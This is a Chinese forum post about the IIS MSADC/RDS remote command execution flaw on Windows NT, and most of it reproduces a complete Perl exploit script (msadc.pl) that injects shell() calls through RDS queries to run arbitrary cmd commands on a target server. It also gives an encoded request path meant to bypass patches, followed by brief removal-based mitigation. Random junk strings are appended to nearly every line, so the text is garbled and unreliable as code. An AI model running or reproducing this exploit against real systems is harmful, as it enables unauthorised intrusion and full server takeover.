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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) I/COqU7~  
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涉及程序: -05U%l1e  
Microsoft NT server TL)O-  
gS"Q=ZK"  
描述: r7!J&8;{K  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 P-JfV7(O8  
<-jGqUN_I  
详细: U06o ;s(  
如果你没有时间读详细内容的话,就删除: EH+~].PJd  
c:\Program Files\Common Files\System\Msadc\msadcs.dll ._p""'Sa  
有关的安全问题就没有了。 \w )?SVp  
O'}l lo  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。  ?9u4a_x  
{%']w  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 qq+MBW*  
关于利用ODBC远程漏洞的描述,请参看: $-@$i`Kf/  
CYB=Uq,  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm Wc#:f 8dr  
Ha ZFxh-(  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 bEr.nF  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp nY) .|\|i  
de-0?6  
这里不再论述。 8tWE=8<  
~%q7Vmk9  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: /?zW<QUI  
j+748QAhh  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset O5 7jz= r  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! hZNEv|  
Plz-7fy33  
A:Rw@ B$  
#将下面这段保存为txt文件,然后: "perl -x 文件名" t58m=4  
d0C8*ifFO  
#!perl '=TTa  
# ix Ow=!@  
# MSADC/RDS 'usage' (aka exploit) script r2G*!qK*1  
# Z[,`"}}hv=  
# by rain.forest.puppy bBE^^9G=Z  
# }g,X5v?W  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me z=?0)e(H,  
# beta test and find errors! &R\XUxI  
6hbEO-(  
use Socket; use Getopt::Std; C"T ,MH  
getopts("e:vd:h:XR", \%args); ?2~U2Ir]:  
8SD}nFQ  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; =O^7TrM  
cy:;)E>/  
if (!defined $args{h} && !defined $args{R}) { 8 G?b.NE^  
print qq~ eECj_eH-  
Usage: msadc.pl -h <host> { -d <delay> -X -v } @]3*B %t  
-h <host> = host you want to scan (ip or domain) C/+nSe.  
-d <seconds> = delay between calls, default 1 second PbUI!Xqe`  
-X = dump Index Server path table, if available #DaP=k"XV  
-v = verbose \3 KfD'L  
-e = external dictionary file for step 5 c57bf  
S_!R^^ySG9  
Or a -R will resume a command session >7FSH"8[,  
-g2{68 1`r  
~; exit;} G(i\'#5+  
l Z~+u  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; ]b\WaS8I  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} Rk[8Bd?  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} iH _"W+dq  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); |,fh)vO  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} By/bVZks  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } T^.{9F]*S  
$wXih#7  
if (!defined $args{R}){ $ret = &has_msadc; rAatJc"0  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} S 1>Z6  
WRMz]|+}4  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" /2:Q6J  
. "cmd /c "; cJq<9(  
$in=<STDIN>; chomp $in; |\p5mh  
$command="cmd /c " . $in ; !`h~`-]O  
:+pPr Gj"  
if (defined $args{R}) {&load; exit;} =w,(M  
(j`l5r#X#/  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; >#i $Tw  
&try_btcustmr; #8qyg<F  
.%hQJ{vf-^  
print "\nStep 2: Trying to make our own DSN..."; wR1K8b".DC  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; wG6FS  
k*9%8yi_ U  
print "\nStep 3: Trying known DSNs..."; {1HB!@%,(  
&known_dsn; rH^/8|}&s  
"11j$E9#\n  
print "\nStep 4: Trying known .mdbs..."; }moz9a  
&known_mdb; &@oq~j_7  
bfc.rZ  
if (defined $args{e}){ - coy@S=.'  
print "\nStep 5: Trying dictionary of DSN names..."; K#U{<pUP  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } ?',}? {"c  
Gm*Uv6?H?  
print "Sorry Charley...maybe next time?\n"; ht$ WF  
exit; Pb=rFas*C  
][ N) 2_^M  
############################################################################## /op/g]O}  
8ok7|DJ  
sub sendraw { # ripped and modded from whisker Rmgxf/  
sleep($delay); # it's a DoS on the server! At least on mine... 1#kawU6[]  
my ($pstr)=@_; %[+/>e/m  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || >|S>J+(  
die("Socket problems\n"); 6 cr^<]v!  
if(connect(S,pack "SnA4x8",2,80,$target)){ <e^6.!;W  
select(S); $|=1; bAdAp W  
print $pstr; my @in=<S>; u p7 x)w:  
select(STDOUT); close(S); )muv;Rf`e5  
return @in; ees^O{ 8  
} else { die("Can't connect...\n"); }} ?-M)54b\  
Cg?I'1]o6  
############################################################################## +"G(  
/T4VJ{D  
sub make_header { # make the HTTP request }W)Mwu'W  
my $msadc=<<EOT qFGB'mIrFz  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 .k|-Ks|d|  
User-Agent: ACTIVEDATA ^K*~ <O-  
Host: $ip aliQ6_  
Content-Length: $clen o|BFvhg  
Connection: Keep-Alive ="=#5C  
k@lXXII ?  
ADCClientVersion:01.06 ]qF<Zw7  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 %G^(T%q| m  
4I+.^7d  
--!ADM!ROX!YOUR!WORLD! sF, uIr/  
Content-Type: application/x-varg olslzXn7o  
Content-Length: $reqlen +&zb^C`J  
!c v6 #:  
EOT =NI.d>kvC  
; $msadc=~s/\n/\r\n/g; E{?L= ^cU  
return $msadc;} gx&\Kw6HM  
N_*u5mfQX  
############################################################################## TosPk(o(  
tgS+" ugl  
sub make_req { # make the RDS request _;%.1H{N  
my ($switch, $p1, $p2)=@_; Ed8U;U b  
my $req=""; my $t1, $t2, $query, $dsn; fa/P%9db  
C!oksI  
if ($switch==1){ # this is the btcustmr.mdb query RbyF#[}  
$query="Select * from Customers where City=" . make_shell(); |^\ Hv5  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . ``/y=k/au  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} hu`L v  
CD$u=E ]  
elsif ($switch==2){ # this is general make table query /7S-|%1  
$query="create table AZZ (B int, C varchar(10))"; oa?!50d  
$dsn="$p1";} x*k65WO\  
Pi^ECSzQu[  
elsif ($switch==3){ # this is general exploit table query -+`az)lrp  
$query="select * from AZZ where C=" . make_shell(); 9 #.<E5:  
$dsn="$p1";} |A2W8b {]  
&P{o{  
elsif ($switch==4){ # attempt to hork file info from index server I}I}K~se*  
$query="select path from scope()"; @)S sKk|  
$dsn="Provider=MSIDXS;";} 7v.#o4nPK  
D6"~fjHh  
elsif ($switch==5){ # bad query [+Yl;3 &]  
$query="select"; (bM)Nd  
$dsn="$p1";} IH*U!_ `  
y_;]=hEL  
$t1= make_unicode($query); 5>0\e_V  
$t2= make_unicode($dsn); 0]/,m4a#n  
$req = "\x02\x00\x03\x00"; 5? S{W  
$req.= "\x08\x00" . pack ("S1", length($t1)); :4Id7Ce  
$req.= "\x00\x00" . $t1 ; _wIBm2UO  
$req.= "\x08\x00" . pack ("S1", length($t2)); &*LA_]1@  
$req.= "\x00\x00" . $t2 ; Y8{T.\%\+  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; >}xAg7\^  
return $req;} w50.gr7  
OYQXi  
############################################################################## ?*(r1grHl  
ptnMCF  
sub make_shell { # this makes the shell() statement sj?`7kg  
return "'|shell(\"$command\")|'";} /7!_un9  
>;T$#LZ  
############################################################################## "P>$=X~Zi  
ym-lT|>Z  
sub make_unicode { # quick little function to convert to unicode  3J'Bm"  
my ($in)=@_; my $out; ,k`YDy|#e  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } B Lsdx }  
return $out;} (xjoRbU*  
Fv5x6a  
############################################################################## QYODmeu  
*B)Jv9  
sub rdo_success { # checks for RDO return success (this is kludge) U4 go8  
my (@in) = @_; my $base=content_start(@in); tIc0S!H#  
if($in[$base]=~/multipart\/mixed/){ GF$rPY[  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} 8YT_DM5iI  
return 0;} . x\/XlM  
Cw9@2E'b  
############################################################################## /ynKKJx<Y  
/\oyPD`((  
sub make_dsn { # this makes a DSN for us ,E n(gm  
my @drives=("c","d","e","f"); ZQgxrZx3  
print "\nMaking DSN: "; tk] _QX %  
foreach $drive (@drives) { BXKlO(7  
print "$drive: "; 8iII) +  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . 5yO#N2jY\  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" T<9dW?'|  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); kHz+ ZY<?  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; 62k9"xSH  
return 0 if $2 eq "404"; # not found/doesn't exist '? !7 Be  
if($2 eq "200") { k:(e79  
foreach $line (@results) { xIq"[?m  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} &+|jJ{93z  
} return 0;} 75^)Ni  
UeK, q>i  
############################################################################## 5Tcl<Y6l  
S>vVjq?~l(  
sub verify_exists { `% #zMS  
my ($page)=@_; gz)wUQ|W  
my @results=sendraw("GET $page HTTP/1.0\n\n"); [E..VesrM  
return $results[0];} )f:!#v(K  
R?={{+O  
############################################################################## x3p;H02i\  
=F!",a~  
sub try_btcustmr { :"y7Weh  
my @drives=("c","d","e","f");  ?fqkM  
my @dirs=("winnt","winnt35","winnt351","win","windows"); *1 J#Mdd  
inq4CGY  
foreach $dir (@dirs) { nEa'e5 lg  
print "$dir -> "; # fun status so you can see progress +0JH"L5!  
foreach $drive (@drives) { Pv/%s) &y&  
print "$drive: "; # ditto s$+: F$Y0  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; NL>[8#  
$reqlenlen=length( "$reqlen" ); lN= m$J  
$clen= 206 + $reqlenlen + $reqlen; ~8n~4  
eaZ)1od  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); T[8"u<O96  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} \V!X& a  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} MU^xu&MB  
S9F]!m^i  
############################################################################## )Zu Q;p  
#4|i@0n}D  
sub odbc_error { ?@,f[U-  
my (@in)=@_; my $base; PL$(/Z  
my $base = content_start(@in); !m/Dd0  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this v2W"+QS}u  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; Ej{eq^n  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ^r?sgJ  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ]Pg?(lr6)  
return $in[$base+4].$in[$base+5].$in[$base+6];} ,~=z_G`R  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; 9< 0$mE^:  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . l#5k8+s  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} \I o?ul}za  
Sv^'CpQ  
############################################################################## [> aoDJ  
K:lT-*+S  
sub verbose { sLpCWIy  
my ($in)=@_; U K]{]-  
return if !$verbose; v#YS`];B  
print STDOUT "\n$in\n";} vSHIl"h  
U}C#:Xi>$  
############################################################################## zdpLAr  
0o^#Fmuz  
sub save { WriJco<v  
my ($p1, $p2, $p3, $p4)=@_; g`f6gxc  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; /w0v5X7  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; xZ{|D  
close OUT;} {0Ol/N;|D  
+h\W~muR  
##############################################################################  kAe-d  
I!i#=  
sub load { `sp'Cl!  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; #t9=qR~"  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); rc{[\1 -N  
@p=<IN>; close(IN); l4BO@   
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); 5fDtSsW  
$target= inet_aton($ip) || die("inet_aton problems"); S|5lx7  
print "Resuming to $ip ..."; HDae_.  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; .WPR}v,.Z  
if($p[1]==1) { ]&tr\-3  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; xYkgNXGs5  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; @x>$_:]  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); S5[RSAbf*t  
if (rdo_success(@results)){print "Success!\n";} k;Ny%%5  
else { print "failed\n"; verbose(odbc_error(@results));}} N=?kEX O  
elsif ($p[1]==3){ i!+3uHWu`)  
if(run_query("$p[3]")){ " ih>T^|  
print "Success!\n";} else { print "failed\n"; }} FOnA;5Aa  
elsif ($p[1]==4){ a^)4q\E  
if(run_query($drvst . "$p[3]")){ :tS>D5dz(  
print "Success!\n"; } else { print "failed\n"; }} @xM!:  
exit;} d}B_ll#j-  
:$Di.|l@7  
############################################################################## ,I:m*.q  
sZP3xh[B  
sub create_table { hZ /  
my ($in)=@_; GyXs{*  
$reqlen=length( make_req(2,$in,"") ) - 28; Tk|;5^#H  
$reqlenlen=length( "$reqlen" ); .)pRB7O3  
$clen= 206 + $reqlenlen + $reqlen; lIc9, |FL  
my @results=sendraw(make_header() . make_req(2,$in,"")); %Fm;LQa ]  
return 1 if rdo_success(@results); r+.4|u  
my $temp= odbc_error(@results); verbose($temp); x%?*]*W  
return 1 if $temp=~/Table 'AZZ' already exists/; ,8-_=*  
return 0;} $6x:aG*F  
 F3r  
############################################################################## lp%.n= '\  
:g:h 0'G  
sub known_dsn { Pge}xKT  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go YM/3VD  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",  rOf  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", $Aoqtz d\  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); rZCAj  
`g:^KCGMM  
foreach $dSn (@dsns) { ;7=J U^@D@  
print "."; s{EX ;   
next if (!is_access("DSN=$dSn")); Am`A[rV0  
if(create_table("DSN=$dSn")){ >]08".ajS  
print "$dSn successful\n"; r^tXr[}  
if(run_query("DSN=$dSn")){ = (h;L$  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { VKJ~ZIO@A  
print "Something's borked. Use verbose next time\n";}}} print "\n";} F^bQ-  
xgw)`>p,W  
############################################################################## Bst>9V&R  
7a_n\]t465  
sub is_access { )KhVUFS1  
my ($in)=@_; K1{nxw!`  
$reqlen=length( make_req(5,$in,"") ) - 28; ' oeg [  
$reqlenlen=length( "$reqlen" ); {gHscj;SM  
$clen= 206 + $reqlenlen + $reqlen; eeTaF!W  
my @results=sendraw(make_header() . make_req(5,$in,"")); ~I^[rP~  
my $temp= odbc_error(@results); (GOrfr  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); "?(Fb_}i  
return 0;} \kGtYkctZ  
W>s9Mp  
############################################################################## ~W2&z]xD  
\ #c+vfq  
sub run_query { ph (k2cb  
my ($in)=@_; b2kbuk]  
$reqlen=length( make_req(3,$in,"") ) - 28; dC|#l?P  
$reqlenlen=length( "$reqlen" ); #$rT 4N c;  
$clen= 206 + $reqlenlen + $reqlen; $P9$ ,w4  
my @results=sendraw(make_header() . make_req(3,$in,"")); `V2j[Fz  
return 1 if rdo_success(@results); gbv[*R{<%  
my $temp= odbc_error(@results); verbose($temp); H D ^~4\%  
return 0;} ={vtfgxl  
wmCV%g\.d:  
############################################################################## ;mKU>F<V  
Im1qWe  
sub known_mdb { L*oL KigT  
my @drives=("c","d","e","f","g"); I{ZPv"9j^  
my @dirs=("winnt","winnt35","winnt351","win","windows"); Zd/~ *ZA  
my $dir, $drive, $mdb; &Zy=vk*  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; T.N7`  
NJ!#0[@C  
# this is sparse, because I don't know of many Dk6\p~q  
my @sysmdbs=( "\\catroot\\icatalog.mdb", /1 %0A  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", -2Cf)>`v  
"\\system32\\certmdb.mdb", n|2-bRK-  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% K T72D  
##ea-"m8  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", *K)53QKlE  
"\\cfusion\\cfapps\\forums\\forums_.mdb", 3t6'5{  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", yk6UuI^/  
"\\cfusion\\cfapps\\security\\realm_.mdb", #{cpG2Rs  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", yj9gN}+  
"\\cfusion\\database\\cfexamples.mdb", P Y<V  
"\\cfusion\\database\\cfsnippets.mdb", WG r\R  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", {NqGWkGt*b  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", w:@M|O4`  
"\\cfusion\\brighttiger\\database\\cleam.mdb", <:t\P.  
"\\cfusion\\database\\smpolicy.mdb", +ANIm^@  
"\\cfusion\\database\cypress.mdb", S.>9tV2Ca  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", +-137!x\q  
"\\website\\cgi-win\\dbsample.mdb", -T6%3>h  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", >{=RQgGy  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" YAG3PWmD  
); #these are just ADUI@#vk  
foreach $drive (@drives) { zX Pj7K*  
foreach $dir (@dirs){ xF31%b`z:  
foreach $mdb (@sysmdbs) { 'J2P3t  
print "."; 3goJ(XI  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ _j tS-CnO  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; j2n@8sCSO  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ 0t0:soZ x  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; 2xj`cFT  
} else { print "Something's borked. Use verbose next time\n"; }}}}} +zPg`/  
R7b*(33  
foreach $drive (@drives) { f|E'eFrFk  
foreach $mdb (@mdbs) { 0~+:~$VrT  
print "."; tC~itU=V  
if(create_table($drv . $drive . $dir . $mdb)){ `Pbn  
print "\n" . $drive . $dir . $mdb . " successful\n"; "7/YhLq7  
if(run_query($drv . $drive . $dir . $mdb)){ U2u>A r  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; oABPGyv  
} else { print "Something's borked. Use verbose next time\n"; }}}} o`Brr:  
} # =3]bg  
7[ji,.7  
############################################################################## q0<`XDD`  
EZW?(%b>H  
sub hork_idx { h2 <$L  
print "\nAttempting to dump Index Server tables...\n"; 4(ZV\}j1  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; >GRuS\B  
$reqlen=length( make_req(4,"","") ) - 28; %c{)'X  
$reqlenlen=length( "$reqlen" ); K.zs;^  
$clen= 206 + $reqlenlen + $reqlen; ,Ou)F;r  
my @results=sendraw2(make_header() . make_req(4,"","")); @h3)! #\ N  
if (rdo_success(@results)){ 'm:B(N@+  
my $max=@results; my $c; my %d; |sAg@kM  
for($c=19; $c<$max; $c++){ UGgi)  
$results[$c]=~s/\x00//g; t9{EO#o' k  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; yh<aFYdk  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; =,]M$M  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; 2F{IDcJI\  
$d{"$1$2"}="";} ^Y |s^N  
foreach $c (keys %d){ print "$c\n"; } =c 4U%d2  
} else {print "Index server doesn't seem to be installed.\n"; }} J6P Tkm}^  
q;JQs:U!  
############################################################################## ;hDr+&J|  
HPB1d!^  
sub dsn_dict { )YnN9"8  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); t]XJ q  
while(<IN>){ UkKpS L}Q2  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; qo|iw+0Y  
next if (!is_access("DSN=$dSn")); v_ h{_b8  
if(create_table("DSN=$dSn")){ ?sE21m?b-  
print "$dSn successful\n"; (#lS?+w)  
if(run_query("DSN=$dSn")){ +(0eOO'\M  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { &rKhB-18)  
print "Something's borked. Use verbose next time\n";}}} _>I5Ud8(-  
print "\n"; close(IN);} ]Hq%Q~cE  
".IhV<R  
############################################################################## h08T Q=n  
IuD<lMeJ J  
sub sendraw2 { # ripped and modded from whisker 3.Kdz}  
sleep($delay); # it's a DoS on the server! At least on mine... }X-ggO,  
my ($pstr)=@_; qMOD TM~+  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || `!N?#N:b)  
die("Socket problems\n"); zZ-*/THB@R  
if(connect(S,pack "SnA4x8",2,80,$target)){ n9DFa3  
print "Connected. Getting data"; Tr)[q>  
open(OUT,">raw.out"); my @in; M`'2 a  
select(S); $|=1; print $pstr; !hUyX}{`j  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} <KX#;v!I  
close(OUT); select(STDOUT); close(S); return @in; s]UeDZ <a  
} else { die("Can't connect...\n"); }} <D}k@M Z  
ww,'n{_  
############################################################################## Ns(F%zkm  
@}:(t{>;e7  
sub content_start { # this will take in the server headers fJKOuFK  
my (@in)=@_; my $c; zT"#9"["  
for ($c=1;$c<500;$c++) { 9"TPDU7"  
if($in[$c] =~/^\x0d\x0a/){ ^gImb`<6-  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } Sb.;$Be5g  
else { return $c+1; }}} VXp X#O  
return -1;} # it should never get here actually Vv]mME@  
wW~2]*n  
############################################################################## ~7g6o^A>  
Sr IynO  
sub funky { F44")fY  
my (@in)=@_; my $error=odbc_error(@in); #q%/~-Uk  
if($error=~/ADO could not find the specified provider/){ zF7T5 Ge  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; G].Z| Z9  
exit;} 1|--Xnv  
if($error=~/A Handler is required/){ sKtH4d5)  
print "\nServer has custom handler filters (they most likely are patched)\n"; c9V'Zd#  
exit;} I]58;|J  
if($error=~/specified Handler has denied Access/){ L 'y+^L|X  
print "\nServer has custom handler filters (they most likely are patched)\n"; va\cE*,@ns  
exit;}} PQ" Dl=,  
h.NA$E?7  
############################################################################## Sj\8$QIXC  
'4EJ_Vhztc  
sub has_msadc { $1YnQgpT  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); nM#\4Q[}Jh  
my $base=content_start(@results); QMP:}  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); CAfG3;  
return 0;} -VL3em|0  
Jh1fM`kB5K  
######################## #\qES7We 6  
MeC@+@C  
u56cT/J1  
解决方案: c{[WOrA~#  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll H`sV\'`!}  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 @L0.Z1 ).  
@C#lA2(I4  
拿出来充数 哈哈
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